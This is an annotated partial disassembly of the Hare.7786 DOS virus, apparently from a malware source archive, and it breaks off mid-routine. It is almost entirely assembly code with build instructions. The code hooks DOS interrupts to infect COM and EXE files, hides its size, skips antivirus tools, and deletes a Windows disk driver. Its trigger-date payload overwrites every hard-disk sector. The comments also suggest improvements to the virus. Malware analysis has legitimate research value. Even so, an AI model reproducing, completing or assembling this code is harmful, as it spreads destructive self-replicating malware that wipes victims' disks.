MalwareSourceCode/MSDOS/H-Index/Virus.MSDOS.Unknown.hare.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

5549 lines
99 KiB
NASM

;============================================================================
;
; HDEuthanasia-v3 by Demon Emperor.
;
; Disassembly of the Hare.7786 virus.
;
; Source: 103k
;
; Disassembly was done by T-2000 / Invaders.
;
; April 1998 / May 1998.
;
; Very stupid written! MUCH double, triple code, unstructured programming,
; different variables used.
;
; Full stealth polymorphic multipartite virus.
;
;
; I guess da source is 70% reconstructed, the rest is kinda hard to do,
; So I don't think that I will complete it (I got better things tha do).
; Also please don't blame me for the pretty lame disassembly, I released
; it only Bcoz I haven't seen any other disasms of Hare. I U decide to
; finish the rest of the disassembly, I would appreciate if U gave me a
; copy.
;
; Demon Emperor seems to have a great knowledge about Win95, he introduced
; several interresting techniques. It's a shame though, that the virus
; has a bunch of shortcomings, these are:
;
; - It doesn't pad the polymorphic code (different filesizes).
; - Shoddy programming: It could loose a lot of weight (bytes), if
; the author has used flexible routines.
;
;
; Some improvements:
;
; - INT 16h: also hook INT 10h, and don't allow writes to the screen,
; turn-off PC-speaker.
;
;
;
; TARGETS: 1st harddisk & 1.44M diskettes.
; PAYLOAD: Message & disktrashing.
; ENCRYPTION: Slow polymorphic.
; STATUS: In the wild.
;
;
; Assemble with TASM 3.2 (or compatible).
;
; TASM hare.asm /m
;
; *** = Bug report/remark (actually too many to write down).
;
;============================================================================
; The following equates show data references outside the range of the program.
DATA_24E EQU 7C16H ;*
DATA_25E EQU 7DBEH ;*
Virus_Size EQU (OFFSET Virus_End - OFFSET Virus_Begin)
.MODEL TINY ; (hmmm... not really!).
.STACK 1024
.CODE
Virus_Begin:
START:
MOV SI, 0 ; Delta offset.
ORG $-2
Padding DW 0
CLD
STI
MOV CX, 0F2Ch ; Decrypt second layer.
MOV DI, OFFSET Layer_2 ; (slightly polymorphic).
ADD DI, SI
Decrypt_2:
;NOT WORD PTR CS:[DI]
nop
nop
Key_2: nop
INC DI
INC DI
LOOP Decrypt_2
Layer_2:
MOV AX, 0FE23h ; Residency-check.
INT 21h
CMP AX, 0Dh ; Are we already resident?
PUSH SI
PUSH DS
JNE Decrypt_Layer_3
JMP Exec_Host
Decrypt_Layer_3:
MOV AL, 0
ORG $-1
Key_3 DB 0
OR AL, AL
JZ Make_Resident
MOV AH, AL
ADD AH, 01h
MOV CX, 0E65h
MOV DI, OFFSET NewInt01h
ADD DI, SI
LOCLOOP_6:
XOR CS:[DI], AX
INC DI
INC DI
ADD AL, 2
ADD AH, 2
LOOP LOCLOOP_6
Make_Resident:
INT 12h ; Get total DOS-memory in AX.
MOV CL, 6
SHL AX, CL ; Convert to segment-address.
DEC AX
MOV ES, AX
CMP ES:[8], 'CS' ; Systemcode?
JE Find_Last_MCB
LOC_8:
MOV AH, 52h ; Get list of lists.
INT 21h
MOV AX, ES:[BX-2] ; Get 1st MCB.
Find_Last_MCB: MOV ES, AX
CMP BYTE PTR ES:[0], 'Z' ; Last block?
JE Last_MCB_Found
MOV AX, ES:[3] ; Get total memory in MCB.
INC AX ; Plus size MCB (10h bytes).
MOV BX, ES
ADD AX, BX ; Current MCB + total mem.
JMP Find_Last_MCB
Last_MCB_Found:
MOV AX, ES:[3] ; Get total memory in MCB.
SUB AX, (8912 / 16) ; Subtract our needed mem.
JC LOC_8
MOV ES:[3], AX ; Put it back.
INC AX ; Plus size MCB.
MOV BX, ES
ADD AX, BX
MOV ES, AX
POP DS ; DS:SI = Entrypoint virus.
POP SI
PUSH SI
PUSH DS
PUSH CS
POP DS
MOV CX, Virus_Size ; Copy virus to virussegment.
XOR DI, DI
CLD
REP MOVSB
PUSH ES ; JMP to relocated virus.
MOV AX, OFFSET Relocated
PUSH AX
RETF
;
; 0 = No
; 1 = Yes
;
; Bits:
; 0
; 1 Disable stealth.
; 2 Windows 95/NT running.
; 3
; 4
; 5
; 6
; 7 Windows 95/NT running.
;
Relocated:
MOV CS:Flags, CL ; Clear Flags variable.
MOV AX, 160Ah ; Identify Windows version
INT 2Fh ; and type.
OR AX, AX ; Function accepted?
JNZ Bad_Windows
CMP CX, 03h ; Enhanched version running?
JB Bad_Windows
OR BYTE PTR CS:Flags, 10000000b
Bad_Windows: CALL Check_Poly_Sector
CALL Infect_Harddisk
PUSH CS
POP DS
MOV AH, 52h ; List of lists.
INT 21h
MOV AX, ES:[BX-2] ; Get 1st MCB in AX.
MOV First_MCB, AX ; Save it for the tracer.
MOV BYTE PTR Trace_Function, 19h ; Get free diskspace.
MOV BYTE PTR Fake_PUSHF, 00h
MOV byte ptr Trace_Done, 01h
MOV AX, 3521h ; Get address INT 21h.
INT 21h
MOV Int21h, BX ; Save INT 21h.
MOV Int21h+2, ES
MOV Trace_Int, BX ; Find entrypoint.
MOV Trace_Int+2, ES
CALL Tracer
CLD ; Replace address INT 21h
MOV SI, OFFSET Trace_Int ; with traced address.
MOV DI, OFFSET Traced_Int21h
MOVSW
MOVSW
XOR AX, AX ; Hook INT 21h.
MOV DS, AX
MOV DS:[21h * 4], OFFSET NewInt21h
MOV DS:[21h * 4 + 2], CS
CALL SUB_56
CALL Del_PortDriver
POP ES ; ES:DI = Virus entrypoint.
POP SI
XOR SI, SI
PUSH SI
PUSH ES
Exec_Host:
POP ES
POP SI
PUSH ES
POP DS
PUSH DS
CMP BYTE PTR CS:[SI+Host_Type], 01h
JE Exec_EXE
ADD SI, OFFSET Old_Entry
MOV DI, 100h
PUSH DI
CLD
PUSH CS
POP DS
MOVSW ; Restore original 3 bytes
MOVSB ; in da .COM-file.
PUSH ES
POP DS
CALL Clear_Registers
RETF
Exec_EXE:
MOV AX, CS:[SI+Old_Entry+2]
POP BX
ADD BX, 10h ; Plus size PSP.
ADD AX, BX ; Add effective segment.
MOV CS:[SI+JMP_Host+2], AX ; Store it in the code.
MOV AX, CS:[SI+Old_Entry]
MOV CS:[SI+JMP_Host], AX
ADD CS:[SI+Old_Stack+2], BX
CALL Clear_Registers ; Clear registers & flags.
MOV SS, CS:[SI+Old_Stack+2]
MOV SP, CS:[SI+Old_Stack]
DB 0EAh ; JMP to host.
JMP_Host DW 0, 0
Traced_Int21h DW 0, 0
Int21h DW 0, 0
JMP_COM DB 90h ; JMP to virus in .COM-file.
DW 0
Host_COM_JMP:
Old_Entry DW OFFSET Carrier, 0
Old_Stack DW 0, 0
Old_Mod512 DW 30h
Old_Byte_Pages DW 2
FileTime DW 9AA0h
Host_Type DB 01h
Temp1 DW 1E6Ah, 3
Trace_Int DW 9AA0h, 2498h
First_MCB DW 253h
Trace_Done DB 0
Fake_PUSHF DB 0
CodeSegment DW 0
Int1Ch DW 0, 0
Flags DB 0
PSP_Segment DW 0
Free_Clusters DW 0
Trace_Function DB 3
Clear_Registers:
XOR AX, AX
PUSH AX ; Clear all flags (also TF).
POPF
STI
MOV CX, AX ; Clear registers.
MOV DI, AX
MOV BP, AX
MOV DX, AX
MOV BX, AX
RETN
NewInt01h:
PUSH AX
PUSH BX
PUSH BP
PUSH DS
MOV BP, SP
MOV AX, [BP+10] ; AX = CS.
MOV BX, [BP+08] ; BX = IP.
MOV CS:CodeSegment, CS
CMP AX, CS:CodeSegment
JE Exit_Int01h
CALL Check_Opcode
CMP AX, 0F000h
JNB LOC_14
CMP AX, CS:First_MCB ; In DOS-segment?
JA Exit_Int01h ; Continue tracing when not.
LOC_14:
AND CS:Trace_Done, 00000001b
JZ Exit_Int01h
MOV CS:Trace_Done, 00h
MOV CS:Trace_Int+2, AX ; Store segment.
MOV AX, [BP+8]
MOV CS:Trace_Int, AX ; Store offset.
Exit_Int01h:
POP DS
POP BP
POP BX
POP AX
CMP CS:Fake_PUSHF, 1
JE LOC_16
IRET
LOC_16:
MOV CS:Fake_PUSHF, 0
RETF
Tracer:
MOV AX, 3501h ; Get INT 01h address.
INT 21h
MOV Temp1, BX ; Save INT 01h address.
MOV Temp1+2, ES
MOV DX, OFFSET NewInt01h
MOV AH, 25h ; Hook INT 01h.
INT 21h
XOR DL, DL
PUSHF
POP AX
OR AX, 100h ; Turn TF on.
PUSH AX
POPF
MOV AH, Trace_Function
PUSHF ; Trace the function.
CALL DWORD PTR Trace_Int
PUSHF
POP AX
AND AX, NOT 100h ; Single-step mode off.
PUSH AX
POPF
LDS DX, DWORD PTR Temp1 ; Restore INT 01h.
MOV AX, 2501h
INT 21h
PUSH CS
PUSH CS
POP ES
POP DS
RETN
Check_Opcode:
PUSH AX
MOV DS, AX
MOV AL, [BX]
CMP AL, 9Dh ; Next instruction POPF ?
JNE LOC_17
OR [BP+0CH], 100h ; Set TF in flags on stack.
JMP LOC_18
NOP
LOC_17:
CMP AL,9Ch ; PUSHF ?
JNE LOC_18
INC WORD PTR [BP+8]
MOV CS:Fake_PUSHF,1
LOC_18:
POP AX
RETN
SUB_4:
MOV AH, 04h ; Get clock.
INT 1Ah
TEST DH, 00001000b
JZ Luck_4_User
CMP DL, 22h ; Trigger-date?
JE Payload
Luck_4_User:
RETN
PayLoad:
MOV AX, 03h ; Clear the screen.
INT 10h
MOV SI, OFFSET Message ; Display text.
MOV BH, 00h
MOV CX, 3Dh
Display_Char: LODSB ; String [si] to al
MOV AH, 0Eh ; Display character.
INT 10h
LOOP Display_Char
MOV DL, 80h
LOC_22:
MOV BH, DL
XOR DL, 01h
MOV AH, 08h ; Get disk drive parameters.
INT 13h
AND CL, 00111111b ; 0 - 63.
MOV AL, CL
MOV AH, 03h
PUSH AX
MOV DL, BH
MOV AH, 08h
INT 13h ; Disk dl=drive 0 ah=func 08h
; get drive parameters, bl=type
; cx=cylinders, dh=max heads
AND CL, 00111111b ; 0 - 63.
MOV AL, CL
MOV AH, 03h
MOV DL, BH
MOV CX, 0101h
PUSH AX
MOV BP, SP
LOC_23:
PUSH DX
LOC_24:
TEST DL, 00000001b
JNZ LOC_25
MOV AX, [BP]
JMP LOC_26
LOC_25:
MOV AX,[BP+2]
LOC_26:
INT 13h ; ??INT NON-STANDARD INTERRUPT
XOR DL, 01h
DEC DH
JNZ LOC_24
POP DX
INC CH
JNZ LOC_23
ADD CL, 40h
JNC LOC_23
ADD DL, 2
ADD SP, 4
JMP LOC_22
; Calls the original INT 21h.
Traced_i21h:
PUSHF
CALL DWORD PTR CS:Traced_Int21h
RETN
Stealth_DiskSpace:
PUSH BX
PUSH AX
MOV AH, 62h ; Get PSP-address.
CALL Traced_i21h
POP AX
CMP CS:PSP_Segment, BX
JNE LOC_28
CMP CS:Trace_Function, DL ; Drive.
JNE LOC_28
POP BX
POPF
CALL Traced_i21h
MOV BX, CS:Free_Clusters ; Fake # of free clusters.
RETF 2
LOC_28:
MOV CS:PSP_Segment, BX
MOV CS:Trace_Function, DL ; Save drive.
POP BX
POPF
CALL Traced_i21h ; Execute function.
MOV CS:Free_Clusters, BX ; Genuine # of free clusters.
RETF 2
Stealth_Filesize:
CALL DWORD PTR CS:Int21h ; Execute function.
PUSHF
PUSH AX
PUSH BX
PUSH ES
TEST CS:Flags, 00000010b ; Stealth-Mode off?
JNZ Exit_Size_Stealth ; Then no file-stealth.
OR AL, AL ; No error occurred?
JNZ Exit_Size_Stealth ; Else exit.
MOV AH, 2Fh ; Get DTA-address.
CALL Traced_i21h
CMP CS:Function_i21h, 40h ; FCB/Dir ?
JA Dir_Stealth
OR WORD PTR ES:[BX+26h], 0
JNZ LOC_30
CMP ES:[BX+24h], 1E9Ch
JB Exit_Size_Stealth
LOC_30:
MOV AX, ES:[BX+1Eh]
AND AL, 00011111b ; Erase all but seconds.
CMP AL, 00010001b ; 34 seconds?
JNE Exit_Size_Stealth
SUB WORD PTR ES:[BX+24h], (Virus_Size + 70)
SBB WORD PTR ES:[BX+26h], 0
JMP Exit_Size_Stealth
Dir_Stealth:
OR WORD PTR ES:[BX+1Ch], 0
JNZ LOC_32
CMP ES:[BX+1Ah], 1E9Ch
JB Exit_Size_Stealth
LOC_32:
MOV AX,ES:[BX+16h] ; Get time in AX.
AND AL, 00011111b
CMP AL, 00010001b ; 34 seconds?
JNE Exit_Size_Stealth
SUB WORD PTR ES:[BX+1AH], (Virus_Size + 70)
SBB WORD PTR ES:[BX+1CH], 0
Exit_Size_Stealth:
POP ES
POP BX
POP AX
POPF
RETF 2
Size_Stealth: MOV CS:Function_i21h, AH ; Save function #.
JMP Stealth_Filesize
Function_i21h DB 4Eh
Residency_Check:
MOV AX, 0Dh ; Return our sign.
POPF
RETF 2
NewInt21h:
PUSHF
CMP AX, 0FE23h ; Residency-check.
JE Residency_Check
CMP AH, 36h ; Get free diskspace.
JNE Check_Next_3
JMP Stealth_DiskSpace
Check_Next_3:
CMP AH, 4Ch ; Program terminate.
JE Check_PSP_Infect
CMP AH, 31h ; Terminate & stay resident.
JE Check_PSP_Infect
CMP AH, 00h ; Terminate program.
JE Check_PSP_Infect
CMP AX, 4B00h ; Program execute.
JNE Check_Next_4
CALL Infect_Exec
Check_Next_4:
CMP AH, 11h ; Findfirst (FCB).
JE Size_Stealth
CMP AH, 12h ; Findnext (FCB).
JE Size_Stealth
CMP AH, 4Eh ; Findfirst (handle).
JE Size_Stealth
CMP AH, 4Fh ; Findnext (handle).
JE Size_Stealth
CMP AH, 3Dh ; Open file (handle).
JNE Check_Next_5
CALL Clean_File
Check_Next_5:
CMP AH, 3Eh ; Close file (handle).
JNE LOC_39
POPF
CALL Infect_Close
RETF 2 ; Return to caller.
LOC_39:
POPF
JMP DWORD PTR CS:Int21h
Check_PSP_Infect:
AND CS:Flags, 00000100b
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH ES
PUSH DS
MOV AH, 62h ; Get PSP.
CALL Traced_i21h
JC Exit_PSP_Check
CLD
MOV ES, BX
MOV ES, ES:[2Ch]
XOR DI, DI
MOV AL, 00h
LOC_41:
MOV CX, 0FFFFh
REPNE SCASB
CMP ES:[DI], AL
JNE LOC_41
ADD DI, 03h
MOV DX, DI
PUSH ES
POP DS
MOV AX, 3D00h ; Open file...
CALL Traced_i21h
JC Exit_PSP_Check
MOV BX, AX ; And infect it on closing.
CALL Infect_Close
Exit_PSP_Check:
POP DS
POP ES
POP DI
POP DX
POP CX
POP BX
POP AX
POPF
JMP DWORD PTR CS:Traced_Int21h
; AX = 4B00h
Infect_Exec:
PUSH AX ; Save registers.
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH DS
PUSH DI
PUSH SI
CALL Check_To_Del_Driver
CALL Set_Dummy_Handlers
CALL Save_FileAttr
CALL Check_FileName
PUSHF
PUSH DS
PUSH CS
POP DS
MOV DI, 0
ORG $-2
Gaby1 DW OFFSET FileName1
MOV SI, OFFSET FileName2
ADD BX, 04h
MOV CX, BX
REP MOVSB
POP DS
POPF
JC Exit_Infect_Exec ; Special file?
MOV AX, 3D02h ; Open file r/w.
CALL Traced_i21h
XCHG BX, AX ; BX = Filehandle.
CALL Save_FileTime
MOV AX, CS:Trace_Int ; Get filetime.
AND AL, 00011111b ; Mask seconds.
PUSH AX
MOV AH, 3Fh ; Read header.
MOV CX, 28
PUSH CS
POP DS
PUSH DS
POP ES
MOV DX, OFFSET Buffer
CALL Traced_i21h
MOV SI, DX
CLD
LODSW ; Get 1st word from header.
CMP AX, 'ZM' ; True .EXE-file?
JE Is_EXE
CMP AX, 'MZ' ; True .EXE-file?
JNE Is_COM ; Else it's a .COM-file.
Is_EXE:
POP AX ; POP filetime.
TEST Flags, 00000100b
JZ LOC_44
CMP AL, 11h
JE LOC_47
CALL Infect_EXE
JNC LOC_46
JMP Exit_Infect_Exec
LOC_44:
CMP AL, 11h
JNE LOC_47
CALL SUB_41
JNC LOC_47
JMP Exit_Infect_Exec
Is_COM:
POP AX ; AX = Filetime.
CMP AL, 11h ; 34 seconds, infected?
JE Exit_Infect_Exec
CALL Infect_COM
JC LOC_47
LOC_46:
MOV AX, Trace_Int ; Set infected timestamp.
AND AL, 11100000b
OR AL, 11h ; 34 seconds.
MOV Trace_Int, AX
LOC_47:
CALL Restore_FileTime
Exit_Infect_Exec:
MOV AH, 3Eh ; Close file.
CALL Traced_i21h
CALL Restore_FileAttr
CALL Restore_Dummy_Handlers
POP SI ; Restore registers.
POP DI
POP DS
POP ES
POP DX
POP CX
POP BX
POP AX
RETN
; Checks if INT 13h part is resident, and deletes portdriver if so.
Check_To_Del_Driver:
CALL Del_PortDriver
MOV AX, 160Ah ; Identify Windows version
INT 2Fh ; and type.
OR AX, AX ; Legal function?
JNZ Exit_Del_PortDriver
CMP BH, 04h ; Windows ver. 4 or higher?
JB Exit_Del_PortDriver
MOV AX, 5445h ; INT 13h residency-check.
INT 13h
CMP AX, 4554h ; INT 13h part installed?
JNE Exit_Del_PortDriver
CALL Del_PortDriver
JC LOC_49 ; File not found?
RETN
LOC_49:
CALL Unslice_Int13h
Exit_Del_PortDriver:
RETN
Infect_EXE:
CMP Reloc_Offs, 40h ; PE-header?
JNE LOC_52
STC
LOC_51:
JMP Exit_Infect_EXE
LOC_52:
MOV DI, OFFSET Old_Entry ; Save old CS:IP.
MOV SI, OFFSET Init_IP
MOVSW
MOVSW
MOV SI, OFFSET Init_SS ; Save old SS:SP.
MOV DI, OFFSET Old_Stack+2
MOVSW
SUB DI, 04h
MOVSW
MOV SI, DX ; Buffer.
MOV Host_Type, 01h ; Host is .EXE-file.
CALL Check_Infect ; Suitable for infection?
JC LOC_51 ; CF set if not.
MOV AX, Trace_Int ; Save time.
MOV FileTime, AX
MOV AX, [SI+2] ; Filesize MOD 512.
MOV Old_Mod512, AX
MOV AX, [SI+4] ; File in 512-byte pages.
MOV Old_Byte_Pages, AX
MOV AX, [SI+4] ;
MOV DX, 512
CMP WORD PTR [SI+2], 0 ; No rounding?
JE LOC_53
DEC AX ;
LOC_53:
MUL DX ; Calculate filesize.
MOV Temp1+2, DX
MOV DX, [SI+2]
ADD AX, DX ; Plus filesize MOD 512.
ADC Temp1+2, 00h
MOV Temp1, AX
PUSH AX
XOR CX, CX ; Go to end of file.
MOV DX, CX ; DX:AX = Filesize.
MOV AX, 4202h
CALL Traced_i21h
SUB AX, Temp1 ; Same size as in header?
JZ Good_Size_Lo ; (ie. no internal overlay?).
POP AX
STC
JMP Exit_Infect_EXE
Good_Size_Lo:
SUB DX, Temp1+2 ; Same size as in header?
JZ Good_Size_Hi
POP AX
STC
JMP Exit_Infect_EXE
Good_Size_Hi:
POP AX ; Filesize low.
MOV CX, Temp1+2 ; Filesize high.
MOV DX, AX
MOV AX, 4200h ; Go to end file.
CALL Traced_i21h
MOV AX, 1E7Bh
MOV DX, [SI+2] ; Filesize MOD 512.
ADD DX, AX
LOC_56:
INC WORD PTR [SI+4] ; Filesize in 512-byte pages.
SUB DX, 512
CMP DX, 512
JA LOC_56
JNE LOC_57
XOR DX, DX
LOC_57:
MOV [SI+2], DX
MOV AX, [SI+8] ; Size header in paragraphs.
MOV CX, 16
MUL CX ; Calculate headersize bytes.
MOV CX, Temp1 ; Filesize minus headersize.
SUB CX, AX
SBB Temp1+2, DX
MOV DI, Temp1+2 ; Filesize high.
MOV SI, CX ; Filesize low.
MOV DX, DI
MOV AX, SI
MOV CX, 16
DIV CX ; Filesize DIV 16.
MOV DI, AX
MOV SI, DX
MOV Host_Entrypoint, SI
MOV Padding, SI ; 0 - 15 bytes padding.
ADD SI, OFFSET Buffer ; Plus end of virus.
MOV Temp1, SI
MOV Temp1+2, DI
CLD ; Set host's new entrypoint.
MOV SI, OFFSET Temp1
MOV DI, OFFSET Init_IP
MOVSW
MOVSW
CALL Poly_Engine ; Polymorphic encryptor.
JC Exit_Infect_EXE
XOR CX, CX ; Go to start of file.
MOV DX, CX
MOV AX, 4200h
CALL Traced_i21h
CALL Make_Random_Stack
MOV DX, OFFSET Buffer ; Write updated header.
MOV AH, 40h
MOV CX, 28
CALL Traced_i21h
Exit_Infect_EXE:
RETN
Infect_COM:
MOV Host_Type, 00h ; Set host as .COM-file.
CLD
MOV DI, OFFSET Host_COM_JMP
MOV SI, OFFSET Buffer
CALL Check_Infect ; Suitable for infection?
JC LOC_59
MOV CX, 3 ; Copy first 3 bytes of host
REP MOVSB ; to our storage-place.
MOV DX, CX ; Go to end of file.
MOV AX, 4202h ; DX:AX = Filesize.
CALL Traced_i21h
OR DX, DX ; File under 64k?
JZ LOC_60
LOC_59:
STC
JMP Exit_Infect_COM
LOC_60:
CMP AX, 30 ; File too small?
JB LOC_59
XOR CX, CX ; Go to end of file.
MOV DX, CX ; DX:AX = Filesize.
MOV AX, 4202h
CALL Traced_i21h
CMP AX, 55701 ; File too big?
JB LOC_61
STC ; Set carry-flag (error).
JMP Exit_Infect_COM
LOC_61:
MOV Host_Entrypoint, AX
ADD Host_Entrypoint, 100h
MOV Padding, AX ; Virus entrypoint.
ADD Padding, 100h ; Plus .COM-entrypoint.
MOV DI, OFFSET JMP_COM
MOV BYTE PTR [DI], 0E9h ; JMP opcode.
SUB AX, 3 ; Minus displacement.
ADD AX, Virus_Size ; Plus entrypoint.
MOV [DI+1], AX ; Store it.
CALL Poly_Engine ; Append polymorphic copy.
JC Exit_Infect_COM
XOR CX, CX ; Go to start file.
MOV DX, CX
MOV AX, 4200h
CALL Traced_i21h
MOV CX, 3 ; Write JMP Virus to start
MOV DX, OFFSET JMP_COM ; of .COM-file.
MOV AH, 40h
CALL Traced_i21h
Exit_Infect_COM:
RETN
Save_FileTime:
MOV AX, 5700h ; Get filetime.
CALL Traced_i21h
MOV CS:Trace_Int, CX
MOV CS:Trace_Int+2, DX
RETN
; Guess what...!?
Restore_FileTime:
MOV AX, 5701h ; Set timestamp.
MOV CX, CS:Trace_Int
MOV DX, CS:Trace_Int+2
CALL Traced_i21h
RETN
;
; Saves file attributes, and clears them afterwards.
; In: BX = Filehandle.
;
Save_FileAttr:
MOV AX, 4300h ; Get file-attributes.
CALL Traced_i21h
MOV CS:CodeSegment, CX
MOV AX, 4301h ; Clear file-attributes.
XOR CX, CX
CALL Traced_i21h
RETN
Restore_FileAttr:
MOV AX, 4301h ; Set file-attributes.
MOV CX, CS:CodeSegment
CALL Traced_i21h
RETN
SUB_14:
PUSH DS
PUSH CS
POP DS
CLD
MOV SI, OFFSET FileName2
SUB BX, 4
JC LOC_63
MOV AX, [SI]
CMP AX, 'BT' ; TBAV utilities?
STC
JE LOC_63
CMP AX, '-F' ; F-Prot?
JE LOC_65
CMP AX, 'VI' ; Invircible?
JE LOC_65
CMP AX, 'HC' ; CHKDSK.EXE ?
JE LOC_64
MOV AL, 'V' ; Filename contains a 'V' ?
MOV DI,OFFSET FileName2
MOV CX, BX
INC CX
REPNE SCASB
OR CX, CX ; Found?
STC
JNZ LOC_63 ; Then exit with carry set.
MOV DI, OFFSET FileName2 ; Filename is COMMAND.* ?
MOV SI, OFFSET Command_Com
MOV CX, BX
REPE CMPSB
OR CX, CX ; Found?
STC
JZ LOC_63 ; Then exit with carry set.
CLC
LOC_63:
POP DS
RETN
LOC_64:
OR Flags, 00000010b
POP DS
RETN
LOC_65:
OR Flags, 00000001b
STC
POP DS
RETN
Check_FileName:
PUSH DS
POP ES
XOR AL, AL
MOV DI, DX
XOR CX, CX
MOV CL, 0FFh
MOV BX, CX
CLD
REPNE SCASB ; Find end of ASCIIZ-string.
DEC DI
DEC DI
SUB BX, CX
MOV CX, BX
STD
MOV AL, '\'
REPNE SCASB ; Find start filename.
SUB BX, CX
MOV CX, BX
INC DI
MOV AL,ES:[DI]
CMP AL, '\'
JNE LOC_66
INC DI
MOV SI, DI
MOV DI, OFFSET FileName2
DEC CX
DEC BX
CLD
PUSH CS
POP ES
REP MOVSB
CALL SUB_14
RETN
LOC_66:
MOV BX, 0Ah
PUSH CS
POP ES
RETN
FileName1 DB 'DUM1.EXE.EXE', 0
FileName2 DB 'DUM1.EXECOME', 0
Command_Com DB 'COMMAND'
Port_Driver DB '\SYSTEM\IOSUBSYS\HSFLOP.PDR', 0
; Searches the program environment to find a 'WIN'-string. This matches
; normally to either WINBOOTDIR or WINDOWS, thus the Windows directory.
; It then appends the path '\SYSTEM\IOSUBSYS\HDFLOP.PDR' to the found
; directoryname. The file HSFLOP.PDR handles the port-level-access to disks,
; without it Windows needs to use the slow INT 13h (which the virus has
; hooked). Hare does this to also infect bootsectors under Windows 95/NT.
Del_PortDriver:
PUSH DS
PUSH DX
XOR DI, DI
Find_String:
MOV CX, 0FFFFh
MOV AH, 62h ; Get PSP.
INT 21h
MOV ES, BX
MOV ES, ES:[2Ch] ; ES = Program's environment-
CLD ; block (PATH, SET, etc).
Get_Next_String:
MOV AL, 0
REPNE SCASB ; Find end of ASCIIZ-string.
MOV AX, ES:[DI] ; Get first word.
OR AL, AL ; No settings?
JZ Exit_Del_Driver ; Then exit routine.
AND AX, 1101111111011111b ; Convert to uppercase.
CMP AX, 'IW' ; WINBOOTDIR/WINDOWS?
JNE Get_Next_String
MOV AL, ES:[DI+2] ; Get third character.
AND AL, 11011111b ; To uppercase.
CMP AL, 'N' ; Have we found WIN ?
JNE Get_Next_String
MOV AL, '=' ; Value.
REPNE SCASB ; Find '='.
JCXZ Exit_Del_Driver ; Not found?
MOV SI, DI
MOV BX, DI
MOV DI, OFFSET Buffer
MOV DX, DI
PUSH ES
POP DS
PUSH CS
POP ES
; This copies the string found above to our buffer.
Copy_Byte:
LODSB ; Copy byte to our buffer.
STOSB
OR AL, AL ; End reached?
JNZ Copy_Byte ; No, then continue copy.
DEC DI
PUSH CS
POP DS
MOV SI, OFFSET Port_Driver ; Append path to Windows-dir.
MOV CX, 28
REP MOVSB
MOV AH, 41h ; Delete portdriver.
CALL Traced_i21h
JNC Exit_Del_Driver
CMP AL, 02h ; File not found?
; (Wrong string fetched?)
MOV DI, BX
JZ Find_String
STC
Exit_Del_Driver:
POP DX
POP DS
RETN
DATA_70 DB 0
DB 1Ah, 02h ; Read real-time clock.
DB 1Ah, 04h ; Read date from real-time clock.
DB 1Ah, 03h ; Set real-time clock.
DB 10h, 08h ; Read character and attribute.
DB 10h, 0Fh ; Get current display mode.
DB 10h, 0Bh ; Set color palette.
DB 21h, 0Dh ; Reset disk.
DB 21h, 18h ; Reserved.
DB 21h, 19h ; Get default drive.
DB '!*!,!0!M!Q!T!b!' ; AND opcodes.
DB 0Bh, 21h, 0Dh, 21h
Int_Table:
INT 2Bh
INT 2Ch
INT 2Dh
INT 28h
INT 1Ch ; This is bad programming!
INT 08h ; This 1 2!
INT 0Ah
INT 0Bh
INT 0Ch
INT 0Dh
INT 0Fh
INT 0Eh
INT 70h
INT 71h
INT 72h
INT 73h
INT 74h
INT 75h
INT 76h ; Can cause problems 4 example wit MegaStealth.
INT 77h
INT 01h
INT 03h ; 1 byte breakpoint.
INT 03h
PushPop_Pairs:
PUSH AX
POP AX
PUSH BX
POP BX
PUSH CX
POP CX
PUSH DX
POP DX
PUSH DI
POP DI
PUSH SI
POP SI
PUSH BP
POP BP
PUSH DS
POP DS
PUSH ES
POP ES
PUSH SS
POP SS
Random DW 0
DATA_74 DB 1Eh
SUB_17:
CALL Get_Random_Poly ; Get random# in AX.
TEST AH, 00010000b ; 1/8 chance.
JZ LOC_74
CMP BL, 02h
JE LOC_72
CMP BL, 04h
JE LOC_73
JMP LOC_74
LOC_72:
ADD AL, 64
JNC LOC_72
AND AL, 11111110b ;
CMP AL, DATA_74
JE SUB_17
MOV DATA_74, AL
PUSH SI
CBW
XCHG BX, AX
MOV SI, OFFSET Int_Table
MOV AX, [BX+SI]
POP SI
MOV BL, 02h
RETN
LOC_73:
ADD AL, 38
JNC LOC_73
AND AL, 11111110b
CMP AL, DATA_74
JE SUB_17
MOV DATA_74, AL
PUSH SI
CBW
XCHG BX, AX
MOV SI, OFFSET DATA_70
MOV AH, [BX+SI]
MOV DH, [BX+SI+1]
MOV AL, 0B4h
MOV DL, 0CDh
POP SI
MOV BL, 04h
RETN
LOC_74:
MOV BL, 00h
RETN
SUB_18:
MOV BP, 03h
LOC_75:
DEC BP
JZ LOC_RET_78
CALL SUB_17
ADD CL, BL
CMP BL, 2
JB LOC_77
JA LOC_76
STOSW
JMP LOC_75
LOC_76:
STOSW
MOV AX, DX
STOSW
LOC_77:
JMP LOC_75
LOC_RET_78:
RETN
;
;
;
; Returns: BX = Random number 0 - 2.
Get_Ran_3:
XOR BX, BX
LOC_79:
PUSH AX
CALL Get_Random_Poly
MOV BL, AL
POP AX
MOV AL, BL
OR BL, BL
JZ LOC_79
AND BL, 00000011b ; 0 - 3.
CMP BL, 3 ; 0 - 2.
JB LOC_RET_80
JMP LOC_79
LOC_RET_80:
RETN
Check_Poly_Sector:
PUSH CS
PUSH CS
POP ES
POP DS
MOV AH, 08h ; Get disk drive parameters
MOV DL, 80h ; of 1st harddisk.
INT 13h
MOV BX, OFFSET Poly_Sector
MOV AX, 0201h
INC CH ; Last track of harddisk.
DEC DH ;
DEC DH
MOV CL, 01h ; 1st sector.
MOV DL, 80h
INT 13h
JC Exit_Poly_Check
CALL Get_Random
AND AL, 00001111b ; 0 - 15.
CMP AL, 7
JE Gen_Poly_Sector
CMP [BX], 0CCDDh ; Polysector already present?
JE Exit_Poly_Check
Gen_Poly_Sector:
MOV CX, 256 ; 256 words.
MOV DI, BX
Store_Random:
CALL Get_Random
ADD AX, [DI-2] ; Add previous value.
MOV [DI], AX
INC DI
INC DI
LOOP Store_Random
MOV [BX], 0CCDDh ; Polysector signature.
LOC_83:
MOV AH, 08h ; Get disk drive parameters.
MOV DL, 80h
INT 13h
MOV BX, OFFSET Poly_Sector ; Write polysector to disk.
MOV AX, 0301h
INC CH
DEC DH
DEC DH
MOV CL, 01h
MOV DL, 80h
INT 13h
JC LOC_85
Exit_Poly_Check:
RETN
LOC_85:
MOV AX, 440Dh
MOV BX, 180h
MOV CX, 84Bh
